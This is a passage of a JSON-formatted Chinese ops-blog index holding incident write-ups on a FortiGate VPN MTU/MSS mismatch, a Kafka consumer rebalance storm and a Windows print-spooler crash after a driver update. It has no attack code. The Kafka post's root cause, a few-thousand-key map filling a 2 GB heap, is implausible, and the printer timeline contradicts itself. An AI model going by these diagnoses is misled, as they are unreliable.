FortiGate VPN隧道MSS配置标准 tcp-mss-sender = 隧道MTU - 40 tcp-mss-receiver = 隧道MTU - 40 # 常见值： # IPSec ESP (无NAT-T)：MTU=1458 → MSS=1418 # IPSec ESP (NAT-T/UDP封装)：MTU=1436 → MSS=1396 将此标准纳入VPN隧道配置Checklist，新建或修改隧道时强制执行。\n2. IPS策略优化——放行PMTU Discovery ICMP\r在所有FortiGate的IPS Sensor中，将以下ICMP规则从默认的Drop改为Pass或至少Disable：\nICMP.DOS.FRGNeeded (Type 3 Code 4 - Fragmentation Needed) ICMP.Info.SourceQuench (Type 4 - Source Quench，虽已废弃但部分设备仍使用) 这些ICMP消息是IP网络正常运行的必要组成部分，误杀它们会导致PMTU Discovery失效，远比所谓的DOS风险危害更大。\n3. 定期路径MTU探测巡检\r编写自动化巡检脚本，每周对所有VPN隧道执行路径MTU探测：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #!/bin/bash # pmtu_check.sh - VPN隧道路径MTU巡检 BRANCHES=(\u0026#34;10.20.1.0/24 华南\u0026#34; \u0026#34;10.30.1.0/24 华东\u0026#34; ...) HQ_ERP=\u0026#34;10.10.1.100\u0026#34; ALERT_THRESHOLD=1400 for branch in \u0026#34;${BRANCHES[@]}\u0026#34;; do network=$(echo $branch | awk \u0026#39;{print $1}\u0026#39;) name=$(echo $branch | awk \u0026#39;{print $2}\u0026#39;) gw=$(echo $network | sed \u0026#39;s/0\\/24/1/\u0026#39;) # 从分支网关探测路径MTU pmtu=$(tracepath -n $HQ_ERP 2\u0026gt;\u0026amp;1 | grep \u0026#34;pmtu\u0026#34; | tail -1 | awk \u0026#39;{print $NF}\u0026#39;) if [ \u0026#34;$pmtu\u0026#34; -lt \u0026#34;$ALERT_THRESHOLD\u0026#34; ]; then echo \u0026#34;[ALERT] $name 隧道路径MTU异常: $pmtu (期望 \u0026gt;= $ALERT_THRESHOLD)\u0026#34; else echo \u0026#34;[OK] $name 隧道路径MTU正常: $pmtu\u0026#34; fi done 当路径MTU低于阈值时自动告警，防止MSS配置被意外修改或隧道MTU因封装方式变化而降低。\n4. 网络变更流程纳入MTU审查\r在FortiGate配置变更审批流程中加入MTU/MSS审查环节：\n新增VPN隧道 → 必须检查MSS配置 更改IPSec封装方式（如从ESP改为ESP+UDP封装）→ 重新计算MSS值 修改IPS策略 → 检查是否影响PMTU Discovery ICMP放行 更换ISP或链路类型 → 测试路径MTU是否变化 5. 文档化MTU计算方法\r编写内部网络运维手册中的MTU计算章节，记录所有VPN隧道的：\n隧道名称 封装方式 预留开销 隧道MTU MSS值 物理接口MTU vpn-HN ESP+NAT-T 64字节 1436 1396 1500 vpn-HD ESP 42字节 1458 1418 1500 让每位运维工程师都能快速查阅和计算正确的MSS值。\n总结\r这次故障的排查给我留下了深刻的教训：\n教训一：Ping通不代表网络通。 Ping只是ICMP小包测试，它能证明链路可达，但完全不能证明大包传输能力。在涉及VPN隧道的故障排查中，必须用不同大小的Ping包（ping -l 1500）或tracepath进行路径MTU探测，才能发现隐藏的MTU问题。\n教训二：MTU/MSS不匹配是VPN环境的\u0026quot;经典杀手\u0026quot;。 IPSec封装带来的MTU缩减是必然的、可计算的，但TCP层对此毫不知情。如果不主动在隧道接口配置MSS协商修改，就等于让TCP盲目发送超大数据包，轻则分片降速，重则完全卡死。这是VPN运维的基本功课，不能等出事了才补。\n教训三：IPS策略不能一刀切地拦截ICMP。 安全策略的\u0026quot;拦截一切ICMP\u0026quot;看似防御了ICMP-based DOS攻击，实则破坏了PMTU Discovery这一网络基础机制。安全与可用必须平衡，对于RFC定义的必要ICMP消息（Fragmentation Needed、Time Exceeded等），必须放行。\n教训四：故障排查要善于利用\u0026quot;小包通、大包不通\u0026quot;这个特征。 当你发现小请求能成功但大数据传输失败，或者Ping通但应用不通，第一反应就应该是检查MTU/MSS。这个特征太过典型，不必浪费时间去查服务器性能、应用日志、路由表——直接从MTU入手往往能最快定位。\n最终，一个1436的隧道MTU和未设置的MSS参数，加上一条过于激进的IPS规则，三者合力制造了一个\u0026quot;Ping正常但业务瘫痪\u0026quot;的经典假象。修复只需两行配置，但理解它需要整个IP/TCP栈的知识。运维不只是改配置，更是理解协议。\n","date":"2026-06-26T08:36:04Z","permalink":"/posts/3c48c9b3/","title":"IPSec VPN MTU 不匹配致 ERP 远程访问异常：定位与修复"},{"content":"问题背景\r凌晨 03:15，监控平台推送告警：订单实时处理链路中 Kafka Consumer Group order-realtime-processor 的消费延迟（Consumer Lag）飙升至 2300 万条，下游数据仓库的 T+0 实时看板数据停止更新，BI 同事反馈今天上午 9 点要汇报的数据完全拿不到。\n这条链路是整个订单系统的核心——订单服务的每条状态变更（创建/支付/发货/签收/退款）都会写入 Kafka Topic order_status_change（30 分区，3 副本），由 6 个消费者实例组成的 Consumer Group 消费后写入 ClickHouse 宽表，供 BI 报表和数据看板查询。延迟意味着一线运营和财务都无法看到最新的业务数据。\n凌晨是我方值班，接到电话后立刻开始排查。\n故障现象\r初步检查发现几个关键异常：\n1. Consumer Lag 曲线异常\n打开 Kafka 监控（用的是 Burrow + Grafana），Consumer Lag 图表显示从 02:48 开始，Lag 从正常的 200~500 条开始陡峭爬升，到 03:15 时已经接近 2300 万，曲线几乎没有回落趋势。\n1 2 3 4 5 6 7 8 # 通过 kafka-consumer-groups 查看具体 lag $ kafka-consumer-groups --bootstrap-server kafka-broker-1:9092 \\ --group order-realtime-processor --describe GROUP TOPIC PARTITION CURRENT-OFFSET LOG-END-OFFSET LAG order-realtime-processor order_status_change 0 15233456780 15256689120 23232340 order-realtime-processor order_status_change 1 15211234560 15234456900 23222340 ... 所有 30 个分区的 lag 都接近 2300 万，说明不是单个分区热点问题，而是整个 Consumer Group 集体\u0026quot;罢工\u0026quot;了一段时间。\n2. Consumer Group 状态不稳定\nConsumer Group 的成员列表在 Burrow 中频繁变化，每隔 2~3 分钟就能观察到一次 Rebalance 事件：\n1 2 3 4 5 6 NOTICE [2026-06-25 02:48:12] Group order-realtime-processor REBALANCE: member-1 left group, reassigning partitions NOTICE [2026-06-25 02:49:33] Group order-realtime-processor REBALANCE: member-3 left group, reassigning partitions NOTICE [2026-06-25 02:51:56] Group order-realtime-processor REBALANCE: member-5 joined group, reassigning partitions 持续的 Rebalance 意味着消费者在这个时间段内基本无法正常消费消息——每次 Rebalance 期间所有分区消费都会暂停。\n3. 消费者实例 OOM 重启\n查看 Kubernetes 中 6 个消费者 Pod 的日志，发现其中 3 个在 02:45 到 03:10 之间反复重启：\n1 2 3 4 5 6 7 8 2026-06-25 02:45:23.456 WARN [Consumer clientId=consumer-order-realtime-3] This member will leave the group because consumer poll timeout has expired. This means the time between subsequent calls to poll() was longer than the configured max.poll.interval.ms, which typically implies that the poll loop is spending too much time processing messages. 2026-06-25 02:45:23.789 INFO [Consumer clientId=consumer-order-realtime-3] Member consumer-order-realtime-3 sending LeaveGroup request to coordinator 关键：消费者因为两次 poll() 调用间隔超过了 max.poll.interval.ms（默认 5 分钟），被 Group Coordinator 主动踢出，触发了 Rebalance。\n排查过程\r第一步：确认消费逻辑是否有死循环或慢处理\r先拉取消费者 Pod 的最近一次 GC 日志和 JVM 堆栈：\n1 2 3 4 5 6 # 查看 GC 情况 $ kubectl logs order-consumer-3 --tail=500 | grep \u0026#34;GC\u0026#34; 2026-06-25 02:44:18.123 [GC (Allocation Failure)] 1254K-\u0026gt;984772K(2048M), 0.452s 2026-06-25 02:44:45.567 [Full GC] 1876543K-\u0026gt;1592340K(2048M), 12.345s 2026-06-25 02:44:58.234 [Full GC] 1892345K-\u0026gt;1792340K(2048M), 15.234s Full GC 耗时 12~15 秒，堆内存几乎全部占用（堆上限 2GB，老年代接近 1.8GB），GC 之后没有明显释放。典型的内存泄漏导致 GC 阻塞，处理时间被无限拉长。\n1 2 # 查看堆栈确认卡在哪里 $ kubectl exec order-consumer-3 -- jstack $(pidof java) | head -200 堆栈显示大量线程卡在 HashMap.put() 和 ArrayList.add() 操作上，调用链指向业务代码的 OrderEventAggregator.aggregateByCity() 方法。\n第二步：定位内存泄漏的根因\r查看 OrderEventAggregator 的源码：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class OrderEventAggregator { // 问题代码：用于按城市聚合订单金额的 Map 没有清理机制 private final Map\u0026lt;String, BigDecimal\u0026gt; cityAmountMap = new HashMap\u0026lt;\u0026gt;(); public void aggregateByCity(OrderEvent event) { String city = event.getCity(); BigDecimal amount = event.getAmount(); cityAmountMap.merge(city, amount, BigDecimal::add); // 每批处理完后写入 ClickHouse，但 Map 永远不清空！ if (batchCount \u0026gt;= batchSize) { writeToClickHouse(cityAmountMap); batchCount = 0; // BUG: 这里应该 cityAmountMap.clear()，但被遗漏了 } } } 这个 cityAmountMap 以城市名为 key，每来一条订单就累加金额。问题是业务跑了几个月，城市维度越来越多（市级/区级/县级加起来上千个），而且每次 writeToClickHouse 之后忘了调用 clear()，导致 Map 无限膨胀。\n几个月的订单数据累积下来，cityAmountMap 里每个城市的 BigDecimal 值越来越大，最终撑爆了 2GB 的堆。\n第三步：为什么 Rebalance 会持续震荡？\r这里有个典型的 Kafka Consumer 配置冲突问题。看一下消费者的配置：\n1 2 3 4 5 6 # 问题配置组合 max.poll.records=2000 # 每批拉取大量消息 max.poll.interval.ms=300000 # 两次 poll 间隔上限 5 分钟 session.timeout.ms=30000 # 心跳超时 30 秒 heartbeat.interval.ms=3000 # 心跳间隔 3 秒 enable.auto.commit=false # 手动提交 当内存接近爆满时，消费者处理 2000 条消息变得越来越慢，从正常的 8~10 秒逐渐拉长到几十秒甚至超出一分钟。更致命的是 Full GC 停顿时消费者线程被挂起：\nGC 停顿 15 秒 → 心跳线程无法发送 heartbeat → session.timeout.ms 30 秒内没收到心跳 → Group Coordinator 认为消费者挂掉 → 触发 Rebalance Rebalance 完成后分区重新分配 → 消费者重新开始 poll，又拉回 2000 条消息 → 处理中又触发 Full GC → 心跳又超时 → 又开始新一轮 Rebalance 这就形成了\u0026quot;消费 → Full GC → 心跳超时 → Rebalance → 重新消费 → Full GC\u0026quot;的死循环，每次 Rebalance 期间所有 30 个分区都停止消费，而生产者持续写入，Lag 自然就爆炸式增长。\n第四步：确认是否有新增城市维度导致数据膨胀\r查 ClickHouse 看看 cityAmountMap 到底存了多少键：\n1 2 3 4 5 6 7 8 SELECT toDate(event_time) AS dt, uniqExact(city) AS city_count FROM order_status_change WHERE dt \u0026gt;= \u0026#39;2026-06-01\u0026#39; GROUP BY dt ORDER BY dt DESC LIMIT 10; 结果发现 6 月初城市维度才 800 多个，最近因为业务扩展到下沉市场 + 拆分区县级行政编码，已经膨胀到了 3400+ 个维度，每个维度的 BigDecimal 对象体积也在持续增长。\n解决方案\r紧急止血（凌晨 03:30 执行）\r1. 重启消费者并降低单批拉取量\n由于代码修复需要走 CI/CD 流程，先通过环境变量降低 max.poll.records 来快速止血：\n1 2 3 4 5 6 # 修改 Deployment 环境变量 kubectl set env deployment/order-realtime-consumer \\ KAFKA_MAX_POLL_RECORDS=500 # 滚动重启 kubectl rollout restart deployment/order-realtime-consumer 500 条消息处理完大约 3~5 秒，即使有 Full GC 停顿也不会轻易超过 max.poll.interval.ms 的 5 分钟上限，Rebalance 旋涡被打破。\n2. 临时调整 session.timeout.ms\n同时把 session.timeout.ms 从 30s 上调到 60s，给 GC 停顿留出缓冲空间：\n1 2 session.timeout.ms=60000 max.poll.records=500 重启后，Consumer Lag 曲线在 03:42 开始回落，到 04:12 恢复正常水平。\n根治方案（当天上午完成）\r1. 修复内存泄漏代码\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class OrderEventAggregator { // 使用有上限的 LRU Map private final Map\u0026lt;String, BigDecimal\u0026gt; cityAmountMap = Collections.synchronizedMap(new LinkedHashMap\u0026lt;String, BigDecimal\u0026gt;(16, 0.75f, true) { @Override protected boolean removeEldestEntry(Map.Entry\u0026lt;String, BigDecimal\u0026gt; eldest) { return size() \u0026gt; 5000; // 最多保留 5000 个城市维度 } }); public void aggregateByCity(OrderEvent event) { String city = event.getCity(); BigDecimal amount = event.getAmount(); cityAmountMap.merge(city, amount, BigDecimal::add); if (batchCount \u0026gt;= batchSize) { writeToClickHouse(new HashMap\u0026lt;\u0026gt;(cityAmountMap)); cityAmountMap.clear(); // 关键修复：写入后清空 batchCount = 0; } } } 两处改动：\n用 LinkedHashMap + removeEldestEntry 增加容量上限，防止无限膨胀 每批写完 ClickHouse 后显式调用 clear() 清空 Map 2. 优化 Kafka Consumer 参数\n1 2 3 4 5 6 7 # 推荐的生产配置 max.poll.records=500 # 降低单批拉取量，加快处理速度 max.poll.interval.ms=600000 # 提升到 10 分钟，给 GC 兜底 session.timeout.ms=60000 # 60 秒心跳超时 heartbeat.interval.ms=10000 # 10 秒心跳间隔 max.partition.fetch.bytes=10485760 # 10MB 每分区拉取上限 enable.auto.commit=false # 保持手动提交 关键调整逻辑：\nmax.poll.records 从 2000 降到 500：减少单批处理时间，避免卡在 poll() 处理块内 max.poll.interval.ms 从 300s 上调到 600s：即使 GC 停顿也能留出足够的时间窗口 session.timeout.ms 从 30s 上调到 60s：给 GC 引起的短暂心跳丢失留出容忍度 3. 增加 JVM 监控和 GC 告警\n在 Prometheus 中补充了 JVM 相关告警规则：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 groups: - name: kafka-consumer-jvm rules: - alert: ConsumerHighHeapUsage expr: jvm_memory_used_bytes{area=\u0026#34;heap\u0026#34;} / jvm_memory_max_bytes{area=\u0026#34;heap\u0026#34;} \u0026gt; 0.85 for: 5m labels: severity: warning annotations: summary: \u0026#34;Consumer {{ $labels.pod }} 堆内存使用率超过 85%\u0026#34; - alert: ConsumerFrequentFullGC expr: rate(jvm_gc_pause_seconds_count{action=\u0026#34;end of major GC\u0026#34;}[5m]) \u0026gt; 2 for: 5m labels: severity: critical annotations: summary: \u0026#34;Consumer {{ $labels.pod }} Full GC 频率异常（\u0026gt;2次/5min）\u0026#34; 根因分析\r这次事故表面上是 Kafka Rebalance 风暴导致消费延迟，但本质上有两层根因：\n直接原因：OrderEventAggregator 中的 cityAmountMap 缺少清理机制，随着业务城市维度增长，Map 中累积的数据量超过 JVM 堆上限，触发频繁 Full GC。Full GC 停顿导致消费者心跳超时，触发 Rebalance，而 Rebalance 期间消费者被踢出后重新加入又会拉取新一批消息继续触发 GC，形成恶性循环。\n配置层面：max.poll.records=2000 与 session.timeout.ms=30000 的组合过于激进。当消费者处理能力因 GC 下降时，2000 条消息的处理时间远超预期，而 30 秒的心跳超时没有给 GC 停顿留出任何缓冲空间。\n流程层面：代码中没有对 Map/Set/List 等集合型成员变量做容量上限保护，Code Review 时只关注了业务逻辑正确性，没有关注资源使用风险。同时 JVM 堆内存使用率一直偏高但没有告警，属于监控盲区。\n预防措施\r1. 代码规范层面\n所有有状态的 Bean（如 Aggregator/Accumulator/Collector）中使用的集合类成员变量必须设置容量上限或显式清理逻辑 Code Review Checklist 增加\u0026quot;资源泄露检查\u0026quot;专项：集合类是否有限制、流/连接是否正确关闭、本地缓存是否有过期策略 2. 配置规范层面\n制定 Kafka Consumer 参数配置基准： max.poll.records 建议 200~500（视单条消息处理复杂度调整） session.timeout.ms 至少为 GC 预期停顿的 3 倍以上 max.poll.interval.ms 至少为单批最大处理时间的 2 倍 所有 Consumer Group 上线前须通过配置审查 3. 监控层面\n对所有 Kafka Consumer Pod 补充 JVM 堆内存 / GC 频率 / GC 耗时的 Prometheus 监控 Consumer Lag 告警阈值从当前的 100 万条下调到 5 万条，更早发现消费异常 新增 Rebalance 频率告警：15 分钟内超过 3 次 Rebalance 即告警 4. 测试层面\n在 CI 流水线中增加消费者压测步骤：用生产流量的 10 倍速率灌入测试 Topic，观察消费者内存增长曲线 跑 24 小时长期稳定性测试，观察内存是否持续上涨 总结\r这次故障给我最大的教训是：Kafka 消费者不只是消息处理逻辑，更是一个需要精细调校的分布式组件。\n三个看似独立的问题——内存泄漏、不合理的 Consumer 参数、缺失的 JVM 监控——在凌晨 02:48 不约而同地交汇在一起，形成了一个从内存逐步溢出到集群级消费瘫痪的连锁反应。\n过往我们的关注点总是在 Consumer Lag 这个结果指标上，当 Lag 飙升时第一反应是\u0026quot;是不是生产者突发流量\u0026quot;。但这次事故说明，消费端的处理能力衰减同样是导致 Lag 的重要原因，而这种衰减往往是渐进式的——内存泄漏不是一瞬间发生的，而是日积月累的，直到某个临界点被突破，所有预警信号同时出现。\n运维同学在接入 Kafka 时，Consumer 的参数配置不应该只抄一个\u0026quot;常见配置\u0026quot;就上线，而应该根据自己的消息处理逻辑做针对性调优。尤其是 max.poll.records、session.timeout.ms、max.poll.interval.ms 这三个参数的关系一定要理解透——它们共同决定了消费者在处理能力波动时是会触发 Rebalance 还是能自我恢复。\n","date":"2026-06-25T06:27:15Z","permalink":"/posts/083f4e6d/","title":"Kafka Rebalance 风暴致业务数据延迟两小时的定位"},{"content":"一、问题背景\r周二早上8:45，我还在喝第一杯咖啡，企业微信突然被财务部的消息轰炸 —— \u0026ldquo;打印机又坏了\u0026quot;\u0026ldquo;打不了报销单\u0026quot;\u0026ldquo;发票打不出来客户等着呢\u0026rdquo;。财务部向来是公司里对打印需求最密集的部门，每月报销周期前后更是如此。今天正好是月度报销截止前一天，如果不能尽快恢复，影响面会非常大。\n我们公司约有200台办公终端，财务部独占12台，使用一台京瓷（Kyocera）TASKalfa 4053ci 企业级多功能一体机，通过TCP/IP网络共享。打印机本身运行稳定，过去两年几乎没有出过硬件故障。但今天的情况不同：不是一个用户、一台电脑的问题，而是财务部全员12台Windows 10/11电脑同时无法打印。紧急程度直接拉满。\n二、故障现象\r赶到财务部现场，观察到以下现象：\n1. 打印任务卡死\n任意用户在Word或Excel中点击打印后，任务迅速进入打印队列，状态显示\u0026quot;正在打印\u0026rdquo;，但打印机没有任何响应。30秒后状态变为\u0026quot;错误 — 正在打印\u0026rdquo;，再过了十来秒，队列自动清空，什么也没打出来。\n2. Print Spooler 服务反复停止\n打开服务管理器（services.msc），Print Spooler 服务状态显示\u0026quot;正在运行\u0026quot;，但用不了几秒钟就自动变为\u0026quot;已停止\u0026quot;，然后系统尝试自动恢复，又变成\u0026quot;正在运行\u0026quot;，如此循环。间隔大约30秒。\n3. 事件查看器关键日志\n在 应用程序 日志中，每30秒准时刷出以下三条：\n1 2 3 4 5 6 7 8 9 10 11 错误：应用程序错误 错误应用程序名称: spoolsv.exe 错误模块名称: KXPDFDRV.dll 异常代码: 0xc0000005 错误偏移量: 0x00002e18 信息：Application Popup 打印机驱动程序 KX Driver for Universal Print 已导致 Spooler 服务崩溃 错误：Service Control Manager Print Spooler 服务意外终止。这已经是第 X 次发生。 0xc0000005 是内存访问违规（ACCESS_VIOLATION），KXPDFDRV.dll 是京瓷的 PDF 输出组件，KX Driver for Universal Print 是京瓷的通用打印驱动。\n4. 驱动详细信息\n在\u0026quot;打印服务器属性\u0026quot;→\u0026ldquo;驱动程序\u0026quot;中查看，打印机使用的驱动版本为 Kyocera TASKalfa 4053ci KX (8.2.0712)，驱动类型标注为\u0026quot;类型 3 - 用户模式\u0026rdquo;。在 C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ 目录下可以找到所有相关驱动文件。\n5. 临时验证\n在一台电脑上尝试手动停止 Spooler 服务，清空 C:\\Windows\\System32\\spool\\PRINTERS\\ 下的临时文件，再启动服务 —— 同样的问题立刻复现，说明不是残留打印任务导致。\n三、排查过程\r第一轮：隔离变量，缩小范围\r先确认问题范围：\n所有电脑都受影响：财务部12台Win10/Win11全员中招，排除单机故障 其他部门正常：我让行政部同事测试，他们的HP打印机完全正常 打印机本身正常：从打印机面板直接操作复印、扫描都正常，用手机APP（Kyocera Mobile Print）发送打印也正常 这就把问题锁定在了\u0026quot;电脑端驱动程序\u0026quot;而非打印机硬件或网络。\n紧接着我发现一个关键线索：财务部有2台电脑是在上周五正常关机、周一（昨天）开机后开始出问题的；而另外10台电脑是今天早上开机后才出问题。我立刻问了一句：\u0026ldquo;你们昨天有没有人打印成功过？\u0026rdquo;\n财务主管回忆说：\u0026ldquo;昨天有同事打印过，是好的。\u0026rdquo;\n\u0026ldquo;几点？\u0026rdquo;\n\u0026ldquo;下午三点左右。\u0026rdquo;\n我立刻打开一台电脑的\u0026quot;设置 → Windows更新 → 更新历史记录\u0026quot;，赫然看到：\n1 2 3 4 2026-06-23 自动更新： - KB5040427：适用于 Windows 10 的累积更新 (成功安装于 2026/6/23 18:32) - KB5039338：.NET Framework 更新 - Kyocera - Printer - 8.3.1205.0 (成功安装于 2026/6/23 18:33) Windows Update 推送了一个京瓷打印机驱动更新，版本从 8.2.0712 升级到了 8.3.1205.0！\n第二轮：深入驱动分析\r我把一台受影响电脑的驱动文件和正常电脑（未安装此更新的其他部门同型号京瓷打印机）的驱动做了对比：\n正常驱动 (8.2.0712)：\n1 2 3 4 5 C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ ├── KXPDFDRV.dll (版本 8.2.0712, 1,245,696 bytes) ├── KXDRVUI.dll (版本 8.2.0712, 2,834,432 bytes) ├── KXPRINT.DLL (版本 8.2.0712, 891,392 bytes) └── OEMSETUP.INF 更新后驱动 (8.3.1205.0)：\n1 2 3 4 5 C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ ├── KXPDFDRV.dll (版本 8.3.1205.0, 1,282,048 bytes) — 比旧版大了约36KB ├── KXDRVUI.dll (版本 8.3.1205.0, 2,920,448 bytes) ├── KXPRINT.DLL (版本 8.3.1205.0, 905,728 bytes) └── OEMSETUP.INF 新驱动确实有变化。为了进一步确认，我用 Process Monitor（ProcMon）在打印触发时监控 spoolsv.exe 的行为。过滤条件：\n1 2 3 Process Name is spoolsv.exe Operation is Load Image Path contains KXPDFDRV 在触发打印后，ProcMon 捕获到 spoolsv.exe 加载 KXPDFDRV.dll 后，紧接着就出现了 Thread Exit 且返回码为 STATUS_ACCESS_VIOLATION (0xC0000005)。观察调用栈，崩溃点位于 KXPDFDRV.dll!RenderToEMF+0x2e18，这是一个与增强图元文件（EMF）渲染相关的函数。\n第三轮：核心矛盾\r这时候我意识到一个很重要的矛盾：Windows Update 通过 Microsoft Update Catalog 推送的驱动（8.3.1205.0），和京瓷官网上对应 TASKalfa 4053ci 的最新驱动，不是同一个东西。\n在另一台电脑上，我从京瓷官网下载了对应型号的专属驱动，版本是 8.4.1102，安装后一切正常。这就说明：Windows Update 推送的\u0026quot;通用驱动\u0026quot;（Universal Print Driver），与特定打印机的专属驱动存在兼容性问题。\n通用驱动的设计理念是\u0026quot;一个驱动适配多个型号\u0026quot;，它通过打印机的 IEEE 1284 Device ID 字符串来匹配功能。问题在于，TASKalfa 4053ci 有一些定制的 PDL（Page Description Language）功能和后处理选项（如装订、打孔、折页），这些功能在通用驱动的简化渲染路径中处理不当，导致 RenderToEMF 函数在构造打印作业的 EMF 文件时访问了未初始化的内存区域。\n第四轮：为什么是\u0026quot;全员中招\u0026quot;\r因为财务部使用的是同一型号打印机，大家的电脑都在同一个 Windows Update 通道（Semi-Annual Channel），都在昨晚下班后（18:33前后）自动安装了同一批更新。所以才会出现\u0026quot;昨天还好好的，今天全挂了\u0026quot;的戏剧性场面。\n那两台昨晚开机的电脑之所以\u0026quot;昨天\u0026quot;还能打，是因为他们在18:32安装更新后一直没有触发打印，直到今天早上上班才踩到这个雷。\n四、解决方案\r短期修复（逐台处理，15分钟/台）\r方案A：回滚驱动（最快，如果系统还原点还在）\n1 2 3 4 5 6 7 8 9 10 11 # 以管理员身份运行 PowerShell # 1. 列出已安装的打印机驱动包 Get-WindowsDriver -Online | Where-Object { $_.OriginalFileName -like \u0026#34;*kyocera*\u0026#34; } # 2. 在设备管理器中回滚 # 设备管理器 → 打印队列 → 对应打印机 → 驱动程序 → 回滚驱动程序 # 或通过 pnputil 删除更新驱动包 pnputil /enum-drivers | findstr -i kyocera # 根据发布名称找到 OEMxx.inf pnputil /delete-driver oem45.inf /uninstall /force 方案B：手动替换驱动（如果回滚不可用）\n1 2 3 4 5 6 7 8 9 10 11 12 # 1. 停止 Spooler net stop spooler # 2. 到京瓷官网下载对应型号的专属驱动 # https://www.kyoceradocumentsolutions.com.cn/ → 支持与下载 → TASKalfa 4053ci # 3. 安装后，在\u0026#34;打印机属性 → 高级 → 新驱动程序\u0026#34;中切换为专属驱动 # 关键：不要选\u0026#34;Kyocera TASKalfa 4053ci KX (Universal)\u0026#34;， # 选\u0026#34;Kyocera TASKalfa 4053ci KX\u0026#34;（不带 Universal 字样） # 4. 启动 Spooler net start spooler 实际上，财务部12台电脑我用了方案A处理了9台（还原点还在），剩下3台因为磁盘清理清掉了还原点，用了方案B。总共花了一个半小时。\n长期修复（全网预防）\r1. 通过组策略禁止 Windows Update 推送驱动更新\n1 2 3 4 5 6 7 # 域控 GPO 配置路径： # 计算机配置 → 管理模板 → Windows 组件 → Windows 更新 → 管理从 Windows 更新提供的更新 # 启用 \u0026#34;不要让 Windows 更新提供驱动程序\u0026#34; # 或者在本地组策略： # gpedit.msc → 计算机配置 → 管理模板 → Windows 组件 → Windows 更新 # → \u0026#34;不包括适用于 Windows 更新的驱动程序\u0026#34; → 已启用 2. 通过 WSUS 审批驱动更新\n如果公司有 WSUS（Windows Server Update Services）服务器，把驱动类更新单独分类，手动审批后再推送：\n1 2 3 4 5 WSUS 控制台 → 选项 → 产品和分类 → 分类 → ✓ 关键更新 ✓ 安全更新 ✓ 更新汇总 ✗ 驱动程序 ← 取消勾选，或选择后手动审批 3. 建立打印机驱动测试流程\n在推送任何打印机相关更新前，在IT部门的测试机上先验证。特别是对于财务部、人事部这类打印密集型部门，更要谨慎。\n五、根因分析\r问题的根本原因有三层：\n第一层：驱动层面。 Windows Update 推送的 Kyocera Universal Print Driver（通用打印驱动）v8.3.1205.0，在处理 TASKalfa 4053ci 的专有后处理功能（装订/打孔/折页）时，KXPDFDRV.dll 中的 RenderToEMF 函数存在内存访问违规。通用驱动为了适配多种型号，在渲染路径中使用了简化逻辑，没有正确初始化某些专有功能所需的数据结构，导致野指针访问。\n第二层：厂商层面。 京瓷将通用驱动提交到 Microsoft Update Catalog 时，标记了声明的设备兼容性列表中包含 TASKalfa 4053ci，但实际上该通用驱动并未针对此型号做充分回归测试。这是一个典型的\u0026quot;硬件兼容性声明不准确\u0026quot;问题。\n第三层：运维层面。 桌面运维中，默认允许 Windows Update 自动推送硬件驱动是一个常见但危险的做法。尤其是打印机驱动，种类繁多、厂商质量参差不齐，自动更新带来的兼容性风险远大于收益。正确的做法应该是把驱动更新从自动通道中剥离出来，走手动验证流程。\n六、预防措施\rGPO统一管控驱动更新：在域控上启用\u0026quot;不要让Windows更新提供驱动程序\u0026quot;策略，全网生效。驱动更新改为从厂商官网/WSUS手动分发。\n建立驱动兼容性清单：统计公司内所有打印机型号、固件版本、当前驱动版本，建立台账。每次收到厂商驱动更新通知后，先在测试机验证，确认无问题再小范围灰度。\n关键部门设打印备机：财务、人事、法务等打印密集型部门，额外配置一台不同型号的备选打印机。即使主打印机驱动出问题，也能切换到备机应急。\nWindows Update 分级策略：\n安全更新：自动安装（延迟3天） 关键更新：自动安装（延迟7天） 驱动更新：手动审批 功能更新：手动审批，大版本前做兼容性测试 定期备份驱动配置：\n1 2 3 4 5 6 # 导出所有打印机配置 Get-Printer | ForEach-Object { Export-Printer -Name $_.Name -FilePath \u0026#34;D:\\PrinterBackup\\$($_.Name).xml\u0026#34; } # 导出驱动列表 pnputil /export-driver * D:\\DriverBackup\\ 建立应急通讯模板：当业务系统出问题时，通过企业微信统一通告，避免恐慌性排查。这次财务部12个人同时报修，信息混乱，其实花了不少时间确认\u0026quot;是同一个问题还是多个不同问题\u0026quot;。 七、总结\r这次故障从发现到全网恢复，历时约两小时。直接原因是Windows Update自动推送的通用打印驱动与特定型号打印机不兼容，但深层反映的是桌面运维中\u0026quot;自动化更新\u0026quot;和\u0026quot;稳定性\u0026quot;之间的权衡问题。\n几点经验教训：\n1. 自动更新不是银弹。 尤其是硬件驱动，厂商质量参差不齐，自动推送等于把风险敞口交给外界。安全更新可以自动，驱动更新必须手动。\n2. 排查打印机问题先看事件查看器。 spoolsv.exe 崩溃时，应用程序日志里几乎一定会留下模块名和异常代码。0xc0000005 几乎可以确定是驱动层的内存访问问题，不用在硬件和网络上浪费时间。\n3. \u0026ldquo;昨天还能用\u0026rdquo; 是第一线索。 当我听到这句话，立即检查了Windows更新历史，几分钟就锁定了根因。很多人排查打印机问题时先重启、重装驱动、甚至重装系统，跳过了最简单但最有效的一步：看最近发生了什么变化。\n4. 驱动回滚是桌维的救命技能。 如果系统还原点没有被清理，pnputil /delete-driver 加 devmgmt.msc 回滚就是最快的修复手段。平时应该提醒用户不要盲目用磁盘清理工具删除\u0026quot;以前的Windows安装\u0026quot;——那里面可能有救命用的驱动备份。\n5. 通用驱动（Universal Driver）是个坑。 厂商为了减少维护成本，倾向于推通用驱动而非专属驱动。但通用驱动在特定型号上的渲染路径可能不完整，容易出问题。桌面运维人员在安装打印机时，务必选择对应型号的专属驱动，而不是图省事选\u0026quot;通用\u0026quot;或\u0026quot;Universal\u0026quot;。\n","date":"2026-06-24T05:19:49Z","permalink":"/posts/6ed86b02/","title":"Windows 更新后打印机 Spooler 